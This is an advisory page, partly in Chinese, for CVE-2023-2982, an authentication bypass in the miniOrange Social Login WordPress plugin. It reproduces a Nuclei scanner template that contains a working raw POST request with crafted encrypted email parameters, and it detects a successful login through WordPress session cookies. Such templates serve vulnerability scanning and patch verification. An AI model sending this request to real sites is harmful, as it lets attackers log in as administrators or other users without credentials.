CVE-2023-2982: Miniorange Social Login and Register <= 7.6.3 - Authentication Bypass

日期: 2025-08-01 | 影响软件: Miniorange Social Login and Register | POC: 已公开

漏洞描述

The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.

PoC代码[已公开]

id: CVE-2023-2982

info:
  name: Miniorange Social Login and Register <= 7.6.3 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.
  impact: |
    An attacker can gain unauthorized access to user accounts, potentially leading to data theft, privilege escalation, or other malicious activities.
  remediation: Fixed in version 7.6.5
  reference:
    - https://lana.codes/lanavdb/2326f41f-a39f-4fde-8627-9d29fff91443/
    - https://wordpress.org/plugins/miniorange-login-openid/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2982
    - https://plugins.trac.wordpress.org/browser/miniorange-login-openid/trunk/mo-openid-social-login-functions.php#L107
    - https://plugins.trac.wordpress.org/changeset/2924863/miniorange-login-openid
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2982
    cwe-id: CWE-288
    epss-score: 0.67823
    epss-percentile: 0.98539
    cpe: cpe:2.3:a:miniorange:wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\):*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: miniorange
    product: wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\)
    framework: wordpress
  tags: cve,cve2023,wp,wordpress,wp-plugin,auth-bypass,miniorange

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option=moopenid&email=uzmpvjPBmwEO3tFXq0vlJg%3D%3D&appName=rlHeqZw2vrPzOiWWfCParA%3D%3D

    matchers-condition: and
    matchers:
      - type: word
        part: set_cookie
        words:
          - "wordpress_sec_"
          - "wordpress_logged_in_"
        condition: or

      - type: status
        status:
          - 302
# digest: 4a0a0047304502205b013fb3e2d0e52e9a33d9e1c1479404ded5de82616be3e3bb6d430def827012022100dc594a9f13728156b3d674a4f505d776032328ef52161b4129306ad827ae8588:922c64590222798bb761d5b6d8e72950